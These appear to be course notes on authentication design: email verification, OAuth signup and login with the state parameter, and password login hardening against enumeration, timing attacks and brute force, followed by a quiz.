Email arrives in Gmail
Gmail scanner: GET /auth/verify?token=abc123
-> token found, used_at IS NULL, not expired
-> UPDATE used_at = now()
-> UPDATE users SET status = active
-> token consumed. Account activated by the scanner.
User opens email, clicks link
-> GET /auth/verify?token=abc123
-> used_at IS NOT NULL -> 400 error
-> "This link has already been used."
-> User never clicked it. Confused. Calls support.
The scanner follows GET links silently. It never submits POST requests — browsers require user intent for a POST.
This is the fix:
Production fix — two-step verification:
Step 1: GET /auth/verify?token=abc123
-> do NOT verify or consume the token
-> render a page: "Click below to confirm your email address"
-> page contains a button that fires a POST
Step 2: POST /auth/verify { "token": "abc123" }
-> NOW verify: hash token, query DB, run transaction
-> mark used_at, activate account
Scanner follows the GET -> sees a confirmation page -> stops.
It never POSTs. Token is untouched until the user clicks the button.
This is not a niche edge case — it affects every production email verification system at scale. Gmail and Outlook
both do this. The two-step GET-then-POST pattern is the industry standard fix.
Edge Cases — All Must Be Handled
Expired token:
expires_at < now()
-> query returns no rows -> 400
-> show "Resend verification email" button
Already-used token:
used_at IS NOT NULL
-> query returns no rows -> 400
-> check users.status separately:
status = active
-> "Already verified. Please log in."
status = unverified -> transaction bug. Alert engineering.
(used_at set but status not updated = broken transaction)
Tampered token:
SHA256(tampered) won't match any token_hash
-> query returns no rows -> 400: "Invalid or expired link."
User clicks link twice:
First click -> used_at IS NULL, not expired -> success
-> used_at = now(), status = active
Second click -> used_at IS NOT NULL -> no row returned -> 400
-> good UX: check status, return "Already verified. Log in."
The Resend Flow
POST /auth/resend-verification
{ "email": "ayush@gmail.com" }
Step 1: SELECT user_id FROM users
WHERE email = ? AND status = 'unverified'
Not found (active or no account):
return 200 anyway -- never confirm whether email exists
(prevents email enumeration attacks)
Step 2: Rate limit check
SELECT COUNT(*) FROM email_verifications
WHERE user_id = ?
AND created_at > now() - interval '1 hour'
>= 3 in last hour -> 429 Too Many Requests
Without this: attacker can flood a victim's inbox
Step 3: Generate new token (same as signup step 3)
INSERT new row into email_verifications
Old rows are NOT deleted or invalidated
Step 4: Publish email event -> send new link
Step 5: return 200: "If this email is registered, a new link has been sent."
Old tokens remain valid until they expire naturally. If the first email was delayed in transit and arrives after the
resend, the user can still click it — both tokens pass the used_at IS NULL AND expires_at > now() check
independently. Expiry handles cleanup; no explicit invalidation needed.
DB State After Successful Verification
users:
user_id
1
email
ayush@gmail.com
auth_credentials:
credential_id user_id
display_name
NULL
provider
status
active
password_hash
updated_at
2024-06-13 10:05:00
provider_user_id
1
1
password
email_verifications:
id user_id token_hash
1
1
SHA256(tok)
$2a$12$abc...
expires_at
2024-06-14 10:00:00
Two fields changed:
users.status:
email_verifications.used_at:
NULL
used_at
2024-06-13 10:05:00
unverified -> active
NULL
-> 2024-06-13 10:05:00
The GET verify endpoint must never consume the token directly — email scanners pre-fetch GET
links before the user sees them. The production pattern is GET renders a confirmation page, POST
actually verifies. The token carries user_id inside the email_verifications row — one query validates
the token and identifies the user simultaneously.
The OAuth Signup Path
A user lands on Razorpay's signup page and clicks "Continue with Google." They never type a password. They
never create a credential in the traditional sense. Yet thirty seconds later they have a fully active account. What
actually happened? Three things ran in sequence — things that look simple on the surface but have several sharp
edges underneath.
What OAuth Signup Is Actually Doing
OAuth signup is not magic. It is the same three-table schema from the Schema section, just populated through a
different path. The end state is identical to password signup:
users row:
email)
auth_credentials row:
password_hash=NULL
email_verifications:
one row, status=active (Google already verified the
provider=google, provider_user_id=sub,
nothing -- Google signup skips this entirely
The key difference: Google is the identity verifier.
You trust Google's assertion that this person owns this email.
So the account goes straight to active -- no verification step needed.
The Decision Tree — New User vs Returning User vs Collision
Before writing a single row, the server must answer: have we seen this person before? The lookup always uses
sub (provider_user_id) — never email. Email is extracted for display only. sub is the stable identity anchor.
Google OAuth callback received
|
v
RSA_verify(id_token, Google_public_key)
<- verify signature first, always
|
v
Extract from payload:
sub
= "109783456123"
<- stable identifier, never changes
email = "ayush@gmail.com"
<- for display only, may change
name = "Ayush Sharma"
<- for display_name
|
v
SELECT * FROM auth_credentials
WHERE provider = 'google'
AND provider_user_id = sub
|
_____|_____
|
|
Found
Not found
|
|
v
v
Returning
SELECT * FROM users WHERE email = ?
user
_____|__________
|
|
Found
Not found
|
|
v
v
Email collision
Brand new user
(existing account INSERT users +
different login) INSERT auth_credentials
Case 1 — Returning User (Most Common)
auth_credentials row found for (provider=google, provider_user_id=sub)
-> user already registered and linked Google login previously
-> no DB writes needed
-> extract user_id from auth_credentials row
-> issue session or JWT directly
-> return 200 OK
One SELECT, zero INSERTs.
This is the happy path for every subsequent Google login after the first.
Case 2 — Brand New User
No auth_credentials row for this sub.
No users row for this email.
-> Genuinely new signup.
BEGIN TRANSACTION
INSERT INTO users (email, display_name, status)
VALUES (?, ?, 'active')
RETURNING user_id;
-- active immediately -- Google already verified email ownership
-- no unverified intermediate state needed
INSERT INTO auth_credentials
(user_id, provider, provider_user_id, password_hash)
VALUES
(returned_user_id, 'google', sub, NULL)
COMMIT
-> issue session or JWT
-> return 201 Created
Why status = active directly? Google verified ownership of this email when the user authenticated with them.
You are trusting Google's assertion. Sending another verification email to an address Google just confirmed
would be redundant and confusing to the user.
Case 3 — Email Collision (The Sharp Edge)
No auth_credentials row for this sub.
BUT users row exists for this email -- registered via password signup.
Ayush signed up with ayush@gmail.com + password months ago.
Today clicks "Continue with Google" with the same Gmail.
Same human. Different login path. Same email.
This is the case most implementations get wrong. The temptation is to silently auto-link the Google credential to
the existing account. This is dangerous — not because someone can create a duplicate Gmail account (Google
blocks that — you cannot register a new Google account with an email that already belongs to an existing Google
account), but for two other real reasons.
Gmail Account vs Google Account — The Key Distinction
First, an important distinction:
Gmail account:
ayush@gmail.com
The email address IS the Google account.
Google owns the @gmail.com domain.
No one else can claim or register a @gmail.com address.
Google account:
account.
ayush@company.com
A non-Gmail email used to create a Google account.
When creating a Google account, you can choose:
Option 1 -- Get a new Gmail address (@gmail.com)
Option 2 -- Use your existing email (any address)
If you choose Option 2 with ayush@company.com,
Google sends a verification email to that address.
Whoever controls that inbox can confirm and create the
Google does NOT own company.com -- it has no way to
prevent this.
Real Threat 1 — Non-Gmail Email Addresses
Your Razorpay account uses ayush@company.com (a work email).
You leave the company. IT reassigns ayush@company.com to a new employee.
New employee goes to accounts.google.com -&gt; &quot;Use your existing
email&quot;
-&gt; enters ayush@company.com -&gt; Google sends verification to that
inbox
-&gt; they confirm it -&gt; they now have a Google account for
ayush@company.com.
If auto-link is on:
They click &quot;Continue with Google&quot; on Razorpay.
Google asserts ayush@company.com is verified.
Auto-link fires -&gt; their Google account linked to your Razorpay
account.
-&gt; account takeover.
This cannot happen with @gmail.com addresses:
Google recognises its own domain and only allows Option 1 for @gmail.com.
You cannot use someone else's Gmail as &quot;existing email&quot; to
create a new account.
Threat 1 is scoped entirely to non-Gmail addresses.
Real Threat 2 — Compromised Google Account
Attacker compromises ayush@gmail.com via phishing or credential stuffing.
If auto-link is on: they trigger OAuth -&gt; Google credential linked to
your Razorpay account.
Even after you recover your Google account and change its password,
the auth_credentials row persists -&gt; attacker retains access.
Real Threat 3 — No Explicit User Consent
Silent auto-link means user never approved the linkage.
No audit trail, no notification, no confirmation.
If Google account is later compromised, Razorpay account is too -and the user has no idea they were linked.
Three approaches exist for handling this collision, each with different safety implications:
Option
Approach
Risk Level
Used by
A—
Auto-link
Silently link Google credential to
existing account on OAuth login
RISKY — safe only for Gmail;
dangerous for non-Gmail emails
and compromised accounts
Not
recommended
B — Block
+ explain
Return error: "Account exists. Log in
with password first, then link Google in
Settings."
SAFE — user must prove
account ownership before any
linking occurs
Razorpay,
CRED, GitHub
C—
Confirm
email
Send email: "Someone tried to link
Google. Click here to approve."
SAFE — whoever controls the
inbox approves; covers
non-Gmail cases too
Consumer
apps (better
UX, more
complexity)
The Full OAuth Signup Flow — Actor by Actor
Client
API Server
Google
|
|
|
| Click
|
|
| "Continue
|
|
| with Google"
|
|
|----------------->|
|
|
| 1. Generate
|
|
|
state param
|
|
|
(CSRF token)
|
|
|
Store in Redis |
|
|
EX 600s
|
|
|
|
| Redirect to
|
|
| Google OAuth
|
|
|<-----------------|
|
|
|
|
| User approves
|
|
| on Google
|
|
|---------------------------------->
|
|
|
|
| Redirect back
|
|
| with code+state |
|
|----------------->|
|
|
| 2. Verify state
|
|
|
param (CSRF)
|
|
|
Mismatch->400 |
|
|
|
|
| 3. Exchange code |
|
|
for tokens
|
Database
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|------------------>|
|
|
id_token +
|
|
|
access_token
|
|
|<------------------|
|
|
|
|
| 4. RSA_verify
|
|
|
(id_token,
|
|
|
Google JWKS)
|
|
|
Extract sub,
|
|
|
email, name
|
|
|
|
|
| 5. Decision tree |
|
|
(returning /
|
|
|
new / collision)|
|
|---------------------------------->
|
|
|
|
| 6. Issue session |
|
|
or JWT
|
|
|
|
| 200/201 +
|
|
| session cookie
|
|
|<-----------------|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
The State Parameter — Why It Is Not Optional
The OAuth callback is just a URL redirect in the browser. Anyone on the internet can make your browser visit a
URL. That is the problem state solves.
You are logged into Razorpay. You have an active session. An attacker also has a Google account
(attacker@gmail.com). The attacker starts the OAuth flow on Razorpay themselves — but stops just before
Google redirects back. They capture the callback URL Google would send to their browser:
https://razorpay.com/callback?code=ATTACKER_AUTH_CODE
The attacker sends you this URL disguised as a prize link or a Razorpay notification. You click it. Your browser
visits https://razorpay.com/callback?code=ATTACKER_AUTH_CODE. You are already logged in, so Razorpay has
your session. Here is what Razorpay does without state:
Your browser hits: https://razorpay.com/callback?code=ATTACKER_AUTH_CODE
Razorpay server:
"I got a callback. Let me exchange this code."
Google:
"That code belongs to attacker@gmail.com."
Razorpay server:
"Great. Link attacker@gmail.com to whoever is
currently logged in on this browser session."
-> auth_credentials row added: provider=google,
provider_user_id = attacker's sub
Attacker logs in with attacker@gmail.com -> inside YOUR Razorpay account.
Your browser did all the work.
Razorpay had no way to know the callback was crafted by an attacker.
This is a CSRF attack on the OAuth callback.
State fixes this by making Razorpay generate a secret before the flow starts — a secret only it knows, tied to your
specific session. The flow becomes:
Step 1 — Before redirecting you to Google, Razorpay generates a random
value:
state = SecureRandom.hex(16)
<- "a3f9b2c1d4e5f6a7" (128 bits)
Stored in Redis tied to YOUR session:
SET oauth_state:a3f9b2c1d4e5f6a7 = your_session_id
EX 600
Step 2 -- Razorpay includes state in the Google authorization URL:
https://accounts.google.com/oauth/authorize
?client_id=razorpay_id
&redirect_uri=https://razorpay.com/callback
&state=a3f9b2c1d4e5f6a7
<- your unique random value
&response_type=code
Step 3 -- You approve on Google. Google echoes state back unchanged:
https://razorpay.com/callback
?code=YOUR_AUTH_CODE
&state=a3f9b2c1d4e5f6a7
<- Google just echoes what you sent
Step 4 -- Razorpay verifies state BEFORE exchanging the code:
incoming_state = "a3f9b2c1d4e5f6a7"
stored = Redis.GET("oauth_state:a3f9b2c1d4e5f6a7")
-> returns your_session_id <- matches. Proceed.
DELETE the key immediately <- one-time use, cannot be replayed.
Now trace the attack again:
Attacker sends: https://razorpay.com/callback
?code=ATTACKER_AUTH_CODE
&state=ATTACKER_STATE
Razorpay checks:
incoming_state = "ATTACKER_STATE"
Redis.GET("oauth_state:ATTACKER_STATE")
-> NULL <- Razorpay never generated this state for your session.
-> Reject. 400. Log the attempt. Code never exchanged.
The attacker cannot forge a valid state because:
SecureRandom.hex(16) = 128 bits of randomness -> cannot guess
It was never in a URL your browser visited -> cannot steal
It expires in 600 seconds -> cannot brute-force in time
It is deleted on first use -> cannot replay
State answers one question: "Did MY server start this OAuth flow for THIS user?" Without state,
Razorpay cannot tell if a callback was initiated by the user or crafted by an attacker. With state,
Razorpay generated a secret before the flow started. Only a callback that echoes that exact secret
back is valid. An attacker has no way to know or forge that secret.
DB State After Successful OAuth Signup
users:
user_id
1
email
ayush@gmail.com
auth_credentials:
credential_id user_id
created_at
1
1
2024-06-13 10:00:00
display_name
Ayush Sharma
status created_at
active 2024-06-13 10:00:00
provider
provider_user_id
password_hash
google
109783456123
NULL
email_verifications:
(no rows -- Google signup skips email verification entirely)
Three things worth noting:
1. status = active immediately -- no unverified intermediate state
2. password_hash = NULL -- account has no password, only Google login
3. display_name populated -- came from Google's name claim in the ID token
Adding a Password to a Google-Only Account
A user with only Google login may later want to set a password. This is the account linking path in reverse —
adding a credential to an existing identity. It works exactly because users and auth_credentials are separate
tables.
POST /auth/set-password
Authorization: Bearer <valid_session_token>
{ "new_password": "..." }
Server:
1. Verify session -> extract user_id
2. Check: does auth_credentials row exist for (user_id,
provider=password)?
Yes -> password change flow, not first-time set
No -> first-time password setup for OAuth-only user
3. INSERT INTO auth_credentials
(user_id, provider, password_hash, provider_user_id)
VALUES
(user_id, 'password', bcrypt(new_password), NULL)
4. Send security notification email:
"A password was added to your Razorpay account.
Not you? Contact support immediately."
After this:
Two rows in auth_credentials -- one google, one password.
Both work independently.
Deleting one does not affect the other.
This is the identity/credential split from Section 1 paying off.
OAuth signup and password signup produce identical DB end states — one users row, one
auth_credentials row. The difference is: OAuth accounts start active (Google verified the email),
password accounts start unverified. Email collision is handled by blocking auto-link and requiring
explicit credential proof first — the real risks are non-Gmail emails and compromised Google
accounts, not duplicate Gmail creation (which Google itself prevents).
One-Paragraph Summary
An identity system has three distinct layers that must never be conflated: who you are (the users table), how you
prove it (the auth_credentials table), and what you can do (authorization, covered in Topics 4.8-4.11). Separating
identity from credentials is the single most important schema decision in any auth system — it is what allows
one human to have multiple login methods, replace credentials without losing their account, and link new
providers without creating duplicate identities. Signup creates both a users row and an auth_credentials row in a
single transaction so partial failure is impossible, while the verification token is generated outside that
transaction so a token failure never rolls back account creation. Email verification uses SecureRandom tokens
stored as SHA256(token) — the email carries raw_token (X), the DB stores SHA256(raw_token) (f(X)), so a DB
compromise gives an attacker f(X) which cannot be reversed to X, meaning stolen hashes are useless for crafting
verification links. The GET verify endpoint never consumes the token directly because email scanners pre-fetch
GET links before the user sees them — the production pattern is GET renders a confirmation page, POST actually
verifies. OAuth signup trusts Google's email verification and sets status=active immediately, but email collision
must never be silently auto-linked — the real risks are non-Gmail work emails being reassigned and
compromised Google accounts, not duplicate Gmail creation which Google itself prevents. The state parameter
in OAuth is mandatory to prevent CSRF: without it, an attacker can trick a victim's browser into completing an
OAuth flow for the attacker's account, linking it to the victim's session.
Quiz & Answers
Q1. A user signs up with ayush@gmail.com and a password. Three months later they click
"Continue with Google" using the same Gmail. The system auto-links. Their Google account gets
compromised — attacker changes the Google password. Does the attacker still have access to the
Razorpay account? Why?
Yes. Auto-link created an auth_credentials row: provider=google, provider_user_id=109783456123
(the sub). The sub is a permanent identifier Google assigns — it never changes, even when the
Google account password changes. Changing the Google password does not affect the sub stored in
auth_credentials. The attacker retains access via Google login indefinitely. The fix is not a verification
email at login time -- that proves email ownership, not account ownership. The fix is Option B: block
auto-link entirely, require the user to prove ownership of the existing account first (by logging in
with password), then link Google explicitly in settings.
Q2. token_hash = SHA256(raw_token) is stored in the DB. A junior engineer suggests sending
token_hash in the email link instead of raw_token to avoid hashing on the server during
verification. What is wrong?
"The server always hashes incoming tokens" is not the real reason — that is just code. The real
reason is structural. The security guarantee requires that what travels in the email (X) and what is
stored in the DB (f(X)) are different things related by a one-way function. If DB is compromised:
attacker gets f(X) but cannot reverse SHA256 to recover X, so they cannot craft valid verification
links. If token_hash travels in the email instead: email carries f(X), DB stores f(X) — they are
identical. DB compromise gives attacker f(X), they paste it in the URL, server queries WHERE
token_hash = incoming — exact match — account verified. The entire DB compromise protection
collapses. Collapsing X and f(X) to the same value destroys the security guarantee entirely.
Q3. What are the three conditions for an email verification token to be accepted? Why must all
three be checked in a single query rather than sequentially?
Three conditions: token_hash matches (correct token), used_at IS NULL (not consumed), expires_at
> now() (not expired). All three in one query: WHERE token_hash = ? AND used_at IS NULL AND
expires_at > now(). Sequential checks create a TOCTOU race condition (Time Of Check vs Time Of
Use): two concurrent requests both pass the used_at IS NULL check before either sets it. Both
proceed. Token used twice. Single query plus a conditional UPDATE (UPDATE ... WHERE id = ? AND
used_at IS NULL) makes consumption atomic — only one UPDATE affects a row. The second finds
used_at already set, gets 0 rows affected, and is rejected.
Q4. A user submits the signup form twice in rapid succession — two concurrent POST /auth/signup
requests for the same email. What happens at the DB level?
There is no SELECT check. The UNIQUE constraint on users.email is the guard. Request A INSERTs
successfully and acquires a row-level lock. Request B's INSERT fires after A commits — the UNIQUE
constraint raises error 23505 (unique violation) at the DB level. The application catches error 23505
and returns 409 Conflict. One users row exists. Application-level duplicate checking is not race-safe
— two requests can both pass a SELECT check before either INSERT completes. The DB constraint is
the only reliable guard.
Q5. An OAuth user (Google-only, no password) sets a password via POST /auth/set-password.
Walk through the exact DB state before and after.
Before: users has one row (status=active). auth_credentials has one row: provider=google,
provider_user_id=109783456123, password_hash=NULL. After: users row unchanged.
auth_credentials gains a second row: provider=password, provider_user_id=NULL,
password_hash=bcrypt(new_password). The Google credential row is completely untouched — a
new row is INSERTed, nothing is modified. Two independent credentials for the same user_id. Both
work. Deleting one does not affect the other. This is the identity/credential split from Section 1
paying off exactly as designed.
Q6. What is the state parameter in OAuth and what attack does it prevent? What happens if state
is missing or mismatched on the callback?
State is a random value (SecureRandom.hex(16)) generated by the server before redirecting to
Google, stored in Redis (EX 600s), and included in the authorization URL. Google echoes it back in
the callback. Server verifies it matches what was stored. It prevents CSRF on the OAuth callback:
without state, an attacker generates an OAuth URL for their own Google account, tricks a victim into
clicking it, and the victim's browser completes the callback — linking the attacker's Google account
to the victim's Razorpay session. State stops this: the attacker's crafted URL has no valid state for the
victim's session. On mismatch: Redis.GET returns NULL, server returns 400, deletes the key
(one-time use), logs the attempt as a potential attack indicator. Token exchange never occurs. No
account linking happens.
Topic 4.12b — Login Flows + MFA
[ TOPIC QUICK REFERENCE ]
Password login
all failures
Timing attack
Enumeration
failed
Status check
Rate limiting
OAuth login
success
MFA
full session
Pending MFA
Password Login Flow
: one JOIN query, always bcrypt.compare(), same error for
: always run bcrypt even on email miss (use DUMMY_HASH)
: never reveal whether email exists or which credential
: only after credential verification passes
: per-email AND per-IP, tracked in Redis not DB
: same ID token verification as signup, zero DB writes on
: two-step flow, pending MFA session between credential and
: short-lived token, allows only MFA submission endpoint
Signup is done. Ayush has an account, status is active. Next morning he opens Razorpay, types his email and
password, clicks Login. This sounds trivial. It is not. There are three ways a naive login implementation leaks
information to attackers, and each one enables a different attack. We build the correct flow by showing the
broken one first.
The Broken Design
POST /auth/login
1. SELECT * FROM users WHERE email = ?
2. If not found -> return 404 "User not found"
3. SELECT * FROM auth_credentials WHERE user_id = ? AND provider =
'password'
4. If bcrypt.compare(input_password, hash) fails -> return 401 "Wrong
password"
5. If users.status != 'active' -> return 403 "Account not verified"
6. Issue session -> return 200
Break 1 — Email Enumeration via Distinct Error Messages
Returning different error messages for "email not found" vs "wrong password" lets an attacker build a confirmed
list of registered emails without ever logging in.
Attacker sends: POST /auth/login { email: "ayush@gmail.com", password: "x" }
Response:
404 "User not found"
-> Attacker knows: ayush@gmail.com is NOT on Razorpay. Move to next email.
Attacker sends: POST /auth/login { email: "rahul@gmail.com", password: "x" }
Response:
401 "Wrong password"
-> Attacker knows: rahul@gmail.com IS registered. Target for credential
stuffing.
With a list of 1 million emails, attacker maps which ones are Razorpay
users.
Then runs credential stuffing using leaked password databases.
Break 2 — Timing Attack via Early Return
Even with identical error messages, response time leaks the same information. bcrypt.compare() is deliberately
slow — about 100ms at cost factor 12. If you return early when the email is not found, the timing difference
reveals everything.
Email not found:
Wrong password:
return immediately after SELECT -> ~2ms response
run bcrypt.compare()
-> ~100ms response
Attacker sends same request, measures response time:
~2ms
-> email not registered
~100ms -> email registered, wrong password
Same error message. Different timing. Still full email enumeration.
Fix: always run bcrypt.compare() regardless of whether email was found.
Break 3 — Status Check Before Credential Check
Checking users.status before verifying the password means an unverified user who knows their correct password
gets a 403, while one with the wrong password gets a 401. Different responses reveal account existence and
verification state to unauthenticated callers. Status must only be revealed after credentials pass.
The Correct Login Flow — Actor by Actor
Client
API Server
Database
|
|
|
| POST /auth/login
|
|
| {email, password}
|
|
|----------------------->|
|
|
| 1. SELECT users JOIN
|
|
|
auth_credentials
|
|
|
WHERE email = ?
|
|
|
AND provider='password' |
|
|--------------------------->|
|
|
row or NULL returned
|
|
|
|
|
| 2. ALWAYS run
|
|
|
bcrypt.compare()
|
|
|
(DUMMY_HASH if no row) |
|
|
|
|
| 3. Any failure ->
|
|
|
401 "Invalid email
|
|
|
or password"
|
|
|
|
|
| 4. Check rate limits
|
|
|
(Redis, per-email+IP)
|
|
|
|
|
| 5. Check users.status
|
|
|
!= active -> 403
|
|
|
|
|
| 6. MFA required?
|
|
|
Yes -> pending MFA
|
|
|
No -> issue session
|
|<-----------------------|
|
Step 1 — One Query Not Two
SELECT u.user_id, u.status, u.email,
ac.password_hash, ac.totp_secret
FROM users u
JOIN auth_credentials ac
ON ac.user_id = u.user_id
AND ac.provider = 'password'
WHERE u.email = ?
One JOIN. If no row returns: either email does not exist, or the account
has no password credential (Google-only account). Result is identical: NULL.
The caller cannot distinguish which case occurred.
Step 2 — Always Run bcrypt.compare(), Even on a Miss
Row returned:
result = bcrypt.compare(input_password, row.password_hash)
if not result: return 401 "Invalid email or password"
No row returned:
result = bcrypt.compare(input_password, DUMMY_HASH)
always fails -> return 401 "Invalid email or password"
but takes the same ~100ms as a real comparison
DUMMY_HASH: a pre-computed bcrypt hash of a random string.
Stored as an application constant. Never changes. Never derived at
runtime.
Example: "$2a$12$dummyhashvalue_that_never_matches_any_real_password"
The dummy hash must be pre-computed and stored as a constant, not computed fresh each request. If you call
bcrypt.hash() at request time to generate the dummy, that call itself takes ~100ms and can be observed as a
timing signal. A pre-computed constant is just a string comparison at lookup time.
Step 3 — Same Error for All Failures
Email not found:
Wrong password:
No password credential:
401
401
401
"Invalid email or password"
"Invalid email or password"
"Invalid email or password"
Never say:
"Email not found"
<- confirms email not registered
"Wrong password"
<- confirms email IS registered
"This account uses Google login" <- leaks credential type
"Account not found"
<- same as email not found
Step 4 — Rate Limiting (Redis, Not DB)
Per email:
Key: login_attempts:email:{email}
Increment on every failed attempt.
>= 5 failures in 15 minutes -> 429 Too Many Requests
TTL resets on each increment (sliding window)
Per IP:
Key: login_attempts:ip:{ip_address}
>= 20 failures in 15 minutes -> 429 regardless of email
Why both?
Per-email only: attacker rotates IPs, hammers one account undetected
Per-IP only:
attacker uses one IP, rotates through many accounts
Both together: covers credential stuffing AND targeted brute force
Tracked in Redis, not the DB.
DB writes on every failed login attempt would create a write hotspot.
Redis INCR + EXPIRE is atomic and sub-millisecond.
Step 5 — Status Check After Credential Check
Only reached after bcrypt.compare() passes:
if user.status == 'unverified':
return 403 "Please verify your email before logging in."
if user.status == 'suspended':
return 403 "Your account has been suspended. Contact support."
if user.status == 'deleted':
return 401 "Invalid email or password."
<- treat as non-existent
if user.status == 'active':
proceed to MFA check or session issuance
Status is only revealed after the caller proves they know the password. An unauthenticated request cannot
discover account status because it cannot pass the credential check to reach this code.
DB State During Login
Failed login:
No DB writes. Rate limit increments go to Redis only.
Successful login:
users:
user_id email
1
ayush@gmail.com
status
active
updated_at
2024-06-14 09:00:00
auth_credentials: unchanged
Session or token: written (covered in detail in 4.12c)
<- updated
Three rules that make login secure: (1) always run bcrypt.compare() even when the email is not
found — timing must be constant; (2) return identical errors for all failure modes — never reveal
which check failed; (3) check status only after credentials pass — account state is not public
information.
Google OAuth Login Flow
How This Differs From OAuth Signup
OAuth Signup (4.12a):
sub not found in DB
-> INSERT users
-> INSERT auth_credentials
-> status = active
-> issue session
OAuth Login (4.12b):
sub found in DB
-> no INSERT
-> no INSERT
-> unchanged
-> issue session
Login has zero DB writes.
One SELECT on auth_credentials. One session write. Done.
The Full Login Flow — Actor by Actor
Client
API Server
Google
|
|
|
| Click "Continue |
|
| with Google"
|
|
|----------------->|
|
|
| 1. Generate state |
|
|
Store in Redis |
|
|
EX 600s
|
| Redirect to
|
|
| Google
|
|
|<-----------------|
|
| User approves
|
|
|---------------------------------->
|
| Callback:
|
|
| code + state
|
|
|----------------->|
|
|
| 2. Verify state
|
|
|
Mismatch->400 |
|
| 3. Exchange code |
|
|
for id_token
|
|
|------------------>|
|
|<------------------|
|
| 4. RSA_verify
|
|
|
iss/aud/exp
|
|
|
Extract sub
|
Database
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 5. SELECT
|
|
|
auth_credentials
|
|
WHERE provider |
|
|
= google AND
|
|
|
provider_
|
|
|
user_id = sub |
|
|---------------------------------->
|
|
Found -> user_id
|
|
Not found -> signup path
|
| 6. Status check
|
|
| 7. Issue session |
| 200 + session
|
|
|<-----------------|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Steps 1 through 4 — state generation, state verification, code exchange, and ID token verification — are identical
to the OAuth signup flow from 4.12a. The state mechanism is explained in full below. The difference from signup
starts at Step 5.
Step 5 — Sub Lookup
SELECT ac.user_id, u.status, u.email
FROM auth_credentials ac
JOIN users u ON u.user_id = ac.user_id
WHERE ac.provider = 'google'
AND ac.provider_user_id = ?
-- the sub claim from ID token
Row found:
user exists and has Google credential linked -> this is a login
extract user_id, proceed to status check
No row found:
either new user (never signed up) or
existing user who signed up with password, never linked Google
-> fall through to 4.12a decision tree (email collision handling)
Step 6 — Status Check
if user.status == 'unverified':
return 403 -- defensive: OAuth users start as active, but handle
gracefully
if user.status == 'suspended':
return 403 "Your account has been suspended. Contact support."
if user.status == 'deleted':
return 401 "Invalid credentials." -- treat as non-existent
if user.status == 'active':
proceed to session issuance
Step 7 — Issue Session
Zero additional DB writes. The auth_credentials row is untouched. The users row is untouched except
updated_at or last_login_at if tracked. Session issuance is covered in full in 4.12c.
State — What It Is, Who Generates It, How It Travels
State is a random string. Nothing more. No structure, no user data, no encoding.
state = SecureRandom.hex(16)
-> "a3f9b2c1d4e5f6a7b8c9d0e1f2a3b4c5"
32 hex characters. 128 bits of randomness.
Unpredictable. Unique per login attempt.
Razorpay's server generates it — not Google, not the browser. The moment the user clicks "Continue with
Google", Razorpay generates state before doing anything else. Here is how it travels through the entire flow:
Step 1: User clicks "Continue with Google" on Razorpay.
Step 2: Razorpay server generates state.
state = "a3f9b2c1d4e5f6a7b8c9d0e1f2a3b4c5"
Step 3: Razorpay stores it in Redis tied to this browser's session.
SET oauth_state:a3f9b2c1... = razorpay_session_id
EX 600
(expires in 600 seconds -- 10 minutes to complete login)
Step 4: Razorpay builds the Google authorization URL
and includes state as a query parameter:
https://accounts.google.com/oauth/authorize
?client_id=razorpay_id
&redirect_uri=https://razorpay.com/callback
&response_type=code
&state=a3f9b2c1d4e5f6a7b8c9d0e1f2a3b4c5
<- included here
&scope=openid email profile
Step 5: Browser navigates to Google. State sits in the URL. Google sees it.
Step 6: User approves on Google.
Step 7: Google redirects browser back to Razorpay's callback.
Google ECHOES state back unchanged -- it does not use or validate it:
https://razorpay.com/callback
?code=AUTH_CODE_xyz
&state=a3f9b2c1d4e5f6a7b8c9d0e1f2a3b4c5
<- echoed back
Step 8: Razorpay's callback handler verifies state.
incoming_state = request.param("state") = "a3f9b2c1..."
current_session = request.cookie("razorpay_session") = "sess_abc123"
stored_session = Redis.GET("oauth_state:a3f9b2c1...") = "sess_abc123"
stored_session == current_session? YES -> valid. Proceed.
DELETE "oauth_state:a3f9b2c1..."
-> one-time use. Delete now.
Attacker sends fake callback to victim's browser:
victim cookie:
sess_abc123
attacker state:
"zzz999fff"
Redis.GET("oauth_state:zzz999fff") = NULL <- never stored for this
session
-> Rejected. 400.
Google is a passive carrier for state. It does not generate it, validate it, or care about its value. It simply includes
whatever state value it received back in the callback URL. The security comes entirely from Razorpay's Redis
check: if a state arrives that Razorpay never stored, the callback is rejected.
How State Is Tied to the Browser Session
The "tie" is a Redis key-value lookup, not cryptography. When the user is on the login page, their browser already
has a Razorpay session cookie (or Razorpay creates a temporary one before the redirect). The state maps to that
session ID in Redis:
Redis stores:
oauth_state:{state_value} -> session_id
On callback:
1. Take incoming state from URL param
2. Look up session_id in Redis
3. Compare with session_id from current request's cookie
4. Match -> valid. The callback came from the same browser that started
the flow.
No match or NULL -> reject. The callback is foreign.
What if there is no existing session cookie?
Option 1: Create a temporary anonymous session before redirecting to
Google.
Set it as a cookie. It arrives back with the callback.
Option 2: Store state directly in a short-lived cookie.
Set-Cookie: oauth_state=a3f9b2c1 HttpOnly Secure Max-Age=600
On callback: compare cookie value with URL param. No Redis
needed.
Option 3: Redis only, no session comparison.
Just verify state exists in Redis and is single-use.
DELETE on first use. No session comparison at all.
Simpler. Still prevents CSRF because attacker cannot know
what state Razorpay generated for the victim's flow.
Most production systems use Option 3.
How OAuth Login Differs From Password Login
Password login checks:
bcrypt.compare() -- something you know
OAuth login checks:
RSA_verify(id_token) -- Google's assertion
Password login errors:
vague
always "Invalid email or password" -- deliberately
(enumeration risk: attacker tries millions of
emails)
OAuth login errors:
account."
can say "No account linked to this Google
(no enumeration risk: attacker controls the Google
account they are using -- they already know it is
theirs)
Password rate limiting:
OAuth rate limiting:
auth)
per-email AND per-IP (brute force is possible)
per-IP only (no brute force -- Google handles
attacker cannot guess passwords via OAuth
Password login DB writes: none on failure, session on success
OAuth login DB writes:
none at all except session (no credential rows
touched)
OAuth login is simpler than OAuth signup: one SELECT on auth_credentials, zero INSERTs, straight
to session issuance. State is a random 128-bit value generated by Razorpay's server, stored in Redis
keyed to the current session, included in the Google authorization URL, and echoed back
unchanged by Google. Razorpay verifies the echo matches what it stored — a mismatch means the
callback was not initiated by this browser.
